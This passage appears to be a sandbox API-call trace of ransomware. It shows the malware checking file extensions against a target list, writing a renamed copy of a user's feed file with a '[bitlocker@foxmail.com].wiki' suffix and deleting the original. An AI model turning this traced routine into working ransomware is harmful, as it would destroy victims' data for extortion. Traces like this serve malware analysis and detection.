lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString=".rar") returned 4 [0179.693] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString=".bz2") returned 4 [0179.693] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString=".7z") returned 3 [0179.693] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString=".dbf") returned 4 [0179.693] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString=".1cd") returned 4 [0179.693] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString=".jpg") returned 4 [0179.693] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.693] lstrlenW (lpString=".doc") returned 4 [0179.693] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString=".docx") returned 5 [0179.693] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.693] lstrlenW (lpString=".pdf") returned 4 [0179.693] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.693] lstrlenW (lpString=".xls") returned 4 [0179.693] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString=".xlsx") returned 5 [0179.694] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.694] lstrlenW (lpString=".ppt") returned 4 [0179.694] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.694] lstrlenW (lpString=".zip") returned 4 [0179.694] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString=".rar") returned 4 [0179.694] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString=".bz2") returned 4 [0179.694] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString=".7z") returned 3 [0179.694] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.694] lstrlenW (lpString=".dbf") returned 4 [0179.694] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.694] lstrlenW (lpString=".1cd") returned 4 [0179.694] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms") returned 103 [0179.694] lstrlenW (lpString=".jpg") returned 4 [0179.694] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.694] lstrcmpiW (lpString1=".feed-ms", lpString2=".wiki") returned -1 [0179.694] lstrlenW (lpString="MSNBC News~.feed-ms") returned 19 [0179.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.695] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=28672) returned 1 [0179.695] CloseHandle (hObject=0x334) returned 1 [0179.695] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms")) returned 0x2020 [0179.695] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.695] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.695] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0179.696] GetLastError () returned 0x0 [0179.696] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x7000, lpOverlapped=0x0) returned 1 [0179.698] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x7010, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x7010, lpOverlapped=0x0) returned 1 [0179.699] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0179.699] WriteFile (in: hFile=0x160, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0179.899] SetEndOfFile (hFile=0x160) returned 1 [0179.899] CloseHandle (hObject=0x160) returned 1 [0179.899] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0179.899] SetEndOfFile (hFile=0x334) returned 1 [0179.900] CloseHandle (hObject=0x334) returned 1 [0179.900] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.901] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms")) returned 1 [0179.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.901] lstrlenW (lpString=".doc") returned 4 [0179.901] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".docx") returned 5 [0179.901] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.901] lstrlenW (lpString=".pdf") returned 4 [0179.901] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".xls") returned 4 [0179.901] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".xlsx") returned 5 [0179.901] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.901] lstrlenW (lpString=".ppt") returned 4 [0179.901] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.901] lstrlenW (lpString=".zip") returned 4 [0179.901] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".rar") returned 4 [0179.901] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".bz2") returned 4 [0179.901] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.901] lstrlenW (lpString=".7z") returned 3 [0179.902] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString=".dbf") returned 4 [0179.902] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString=".1cd") returned 4 [0179.902] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString=".jpg") returned 4 [0179.902] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString=".doc") returned 4 [0179.902] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString=".docx") returned 5 [0179.902] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0179.902] lstrlenW (lpString=".pdf") returned 4 [0179.902] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString=".xls") returned 4 [0179.902] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString=".xlsx") returned 5 [0179.902] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0179.902] lstrlenW (lpString=".ppt") returned 4 [0179.902] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.902] lstrlenW (lpString=".zip") returned 4 [0179.902] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0179.902] lstrlenW (lpString=".rar") returned 4 [0179.902] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0179.903] lstrlenW (lpString=".bz2") returned 4 [0179.903] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0179.903] lstrlenW (lpString=".7z") returned 3 [0179.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.903] lstrlenW (lpString=".dbf") returned 4 [0179.903] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0179.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.903] lstrlenW (lpString=".1cd") returned 4 [0179.903] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0179.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 96 [0179.903] lstrlenW (lpString=".jpg") returned 4 [0179.903] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0179.903] lstrlenW (lpString="fwlink[1]") returned 9 [0179.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.904] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0179.905] CloseHandle (hObject=0x334) returned 1 [0179.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.905] lstrlenW (lpString=".doc") returned 4 [0179.905] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".docx") returned 5 [0179.905] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0179.905] lstrlenW (lpString=".pdf") returned 4 [0179.905] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".xls") returned 4 [0179.905] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".xlsx") returned 5 [0179.905] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0179.905] lstrlenW (lpString=".ppt") returned 4 [0179.905] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.905] lstrlenW (lpString=".zip") returned 4 [0179.905] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".rar") returned 4 [0179.905] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".bz2") returned 4 [0179.905] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString=".7z") returned 3 [0179.905] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0179.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.905] lstrlenW (lpString=".dbf") returned 4 [0179.905] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0179.905] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.905] lstrlenW (lpString=".1cd") returned 4 [0179.906] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.906] lstrlenW (lpString=".jpg") returned 4 [0179.906] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.906] lstrlenW (lpString=".doc") returned 4 [0179.906] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".docx") returned 5 [0179.906] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0179.906] lstrlenW (lpString=".pdf") returned 4 [0179.906] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".xls") returned 4 [0179.906] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".xlsx") returned 5 [0179.906] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0179.906] lstrlenW (lpString=".ppt") returned 4 [0179.906] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.906] lstrlenW (lpString=".zip") returned 4 [0179.906] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".rar") returned 4 [0179.906] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".bz2") returned 4 [0179.906] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0179.906] lstrlenW (lpString=".7z") returned 3 [0179.906] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0179.906] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.906] lstrlenW (lpString=".dbf") returned 4 [0179.906] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0179.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.907] lstrlenW (lpString=".1cd") returned 4 [0179.907] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0179.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 84 [0179.907] lstrlenW (lpString=".jpg") returned 4 [0179.907] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0179.907] lstrlenW (lpString="fwlink[1]") returned 9 [0179.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0179.907] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0179.907] CloseHandle (hObject=0x334) returned 1 [0179.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.907] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.907] lstrlenW (lpString=".doc") returned 4 [0179.908] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".docx") returned 5 [0179.908] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0179.908] lstrlenW (lpString=".pdf") returned 4 [0179.908] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".xls") returned 4 [0179.908] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".xlsx") returned 5 [0179.908] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0179.908] lstrlenW (lpString=".ppt") returned 4 [0179.908] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.908] lstrlenW (lpString=".zip") returned 4 [0179.908] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".rar") returned 4 [0179.908] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".bz2") returned 4 [0179.908] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString=".7z") returned 3 [0179.908] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0179.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.908] lstrlenW (lpString=".dbf") returned 4 [0179.908] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.908] lstrlenW (lpString=".1cd") returned 4 [0179.908] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0179.908] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.908] lstrlenW (lpString=".jpg") returned 4 [0179.908] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString=".doc") returned 4 [0179.909] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".docx") returned 5 [0179.909] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0179.909] lstrlenW (lpString=".pdf") returned 4 [0179.909] lstrcmpiW (lpString1=".pdf", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".xls") returned 4 [0179.909] lstrcmpiW (lpString1=".xls", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".xlsx") returned 5 [0179.909] lstrcmpiW (lpString1=".xlsx", lpString2="nk[1]") returned -1 [0179.909] lstrlenW (lpString=".ppt") returned 4 [0179.909] lstrcmpiW (lpString1=".ppt", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString=".zip") returned 4 [0179.909] lstrcmpiW (lpString1=".zip", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".rar") returned 4 [0179.909] lstrcmpiW (lpString1=".rar", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".bz2") returned 4 [0179.909] lstrcmpiW (lpString1=".bz2", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString=".7z") returned 3 [0179.909] lstrcmpiW (lpString1=".7z", lpString2="[1]") returned -1 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString=".dbf") returned 4 [0179.909] lstrcmpiW (lpString1=".dbf", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString=".1cd") returned 4 [0179.909] lstrcmpiW (lpString1=".1cd", lpString2="k[1]") returned -1 [0179.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 84 [0179.909] lstrlenW (lpString=".jpg") returned 4 [0179.909] lstrcmpiW (lpString1=".jpg", lpString2="k[1]") returned -1 [0179.910] lstrlenW (lpString="fwlink[1]") returned 9 [0179.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.580] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=0) returned 1 [0180.580] CloseHandle (hObject=0x158) returned 1 [0180.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]") returned 84 [0180.580] lstrlenW (lpString=".doc") returned 4 [0180.580] lstrcmpiW (lpString1=".doc", lpString2="k[1]") returned -1 [0180.580] lstrlenW (lpString=".docx") returned 5 [0180.580] lstrcmpiW (lpString1=".docx", lpString2="nk[1]") returned -1 [0180.580] lstrlenW (lpString=".pdf") returned 4 [0180.580] lstrcmpiW 